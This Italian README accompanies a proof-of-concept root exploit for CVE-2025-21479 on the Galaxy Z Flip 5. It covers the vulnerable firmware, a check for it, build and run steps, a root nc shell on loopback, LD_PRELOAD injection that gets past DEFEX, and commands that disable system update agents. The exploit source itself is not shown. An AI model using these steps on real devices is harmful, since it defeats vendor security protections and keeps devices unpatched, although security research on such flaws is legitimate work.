
CVE-2025-21479 PoC per ZFlip5 con Knox di mezzo!(˶˃ ᵕ ˂˶)
Image
Lettura/scrittura fisica arbitraria della GPU (CVE-2025-21479) -> leak di KASLR -> SELinux permissivo -> server root con init-hook sicuro contro RKP e bypass di DEFEX per l'esecuzione di binari personalizzati (LD_PRELOAD)
Ci vogliono circa 6 minuti... Abbi pazienza.
Lo ottimizzerò più avanti.
Galaxy Z Flip 5 (SM-F731N)
Firmware: F731NKSU5EYD9
Android: 15
Patch di sicurezza: 2025-04-01
SoC: Snapdragon 8 Gen 2 (SM8550 / kalama)
GPU: Adreno 740 v2
Galaxy Z Flip 5 (SM-F7310) — grazie @eoegamer per i test e per la guida!!
Firmware: F7310ZCS4CXH2
Android: 14
SoC: Snapdragon 8 Gen 2 (SM8550 / kalama)
GPU: Adreno 740
Usa il pattern del firmware della GPU:
xxd /vendor/firmware/a740_sqe.fw | grep -i "0300 422a"
Se corrisponde, il firmware è vulnerabile
; firmware vulnerabile (v675)
and $04, $12, 0x3
; firmware con patch (v676)
and $04, $12, 0x7
exploit.c è compilato per F731NKSU5EYD9.
Per altri firmware, riconfiguralo prima con port_extract.py (vedi PORTING.md)
# compila exploit.c con l'Android NDK (aarch64), es.:
# $NDK/toolchains/llvm/prebuilt/*/bin/aarch64-linux-android34-clang exploit.c -o cheese
adb push cheese /data/local/tmp/
adb shell 'chmod +x /data/local/tmp/cheese; /data/local/tmp/cheese'
Eseguilo una volta per avvio (il server root non è persistente).
In caso di successo lascia un listener root toybox nc in ascolto su loopback (127.0.0.1:4444). Ottieni una shell root da adb shell:
adb shell
nc 127.0.0.1 4444 # shell root, uid=0 (u:r:sec_system_init_shell:s0)
I binari di serie possono comunque essere eseguiti direttamente.
Il problema è che DEFEX blocca i binari nativi personalizzati quando vengono eseguiti direttamente.
Quindi, invece, esegui il tuo codice personalizzato come libreria LD_PRELOAD iniettata in un processo host di serie dalla shell root:
LD_PRELOAD=/data/local/tmp/test.so /system/bin/toybox true
Compila test.so con un entry point __attribute__((constructor)); il suo costruttore viene eseguito come root all'interno dell'host di serie!
Se si blocca per più di 15 minuti, riavvia e lascia raffreddare il dispositivo.
Lo spraying della GPU è probabilistico. Riprova o riavvia se fallisce.
Disabilita gli aggiornamenti software
Disabilita:
pm disable-user --user 0 com.sec.android.soagent
pm disable-user --user 0 com.wssyncmldm
Riabilita:
pm enable --user 0 com.sec.android.soagent
pm enable --user 0 com.wssyncmldm
Solo per ricerca sulla sicurezza autorizzata e a scopo educativo. Il dispositivo e il firmware esatti devono corrispondere.